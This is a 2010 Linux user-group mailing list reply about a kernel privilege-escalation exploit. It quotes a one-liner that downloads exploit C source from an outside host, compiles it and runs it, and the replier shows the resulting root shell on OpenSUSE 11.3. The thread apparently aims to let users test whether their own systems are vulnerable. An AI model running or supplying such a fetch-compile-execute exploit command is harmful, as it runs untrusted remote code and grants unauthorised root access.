Re: [tlug] Linux Kernel Exploit News

["Stephen A. Carter" <scarter@example.com>]

(2010年09月23日 12:36), Kalin KOZHUHAROV wrote:
> If you want to check whether your system is affected, as a normal user do:
> 
> $ wget -q http://thinrope.net/s/robert_you_suck.c -O - |gcc -x c -o
> r00t - && ./r00t
> 
> If you get a root shell, guess what - YOU ARE affected.

Oh, yikes.

-----
stephen@example.com:~> wget -q http://thinrope.net/s/robert_you_suck.c -O -
|gcc -x c -o r00t - && ./r00t
resolved symbol commit_creds to 0xffffffff81078510
resolved symbol prepare_kernel_cred to 0xffffffff810786b0
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
cardenas:~> whoami
root
cardenas:~> exit
exit
^C
stephen@example.com:~>
-----

OpenSUSE 11.3 here.

-- 
Stephen A. Carter
scarter@example.com
Nagoya, Japan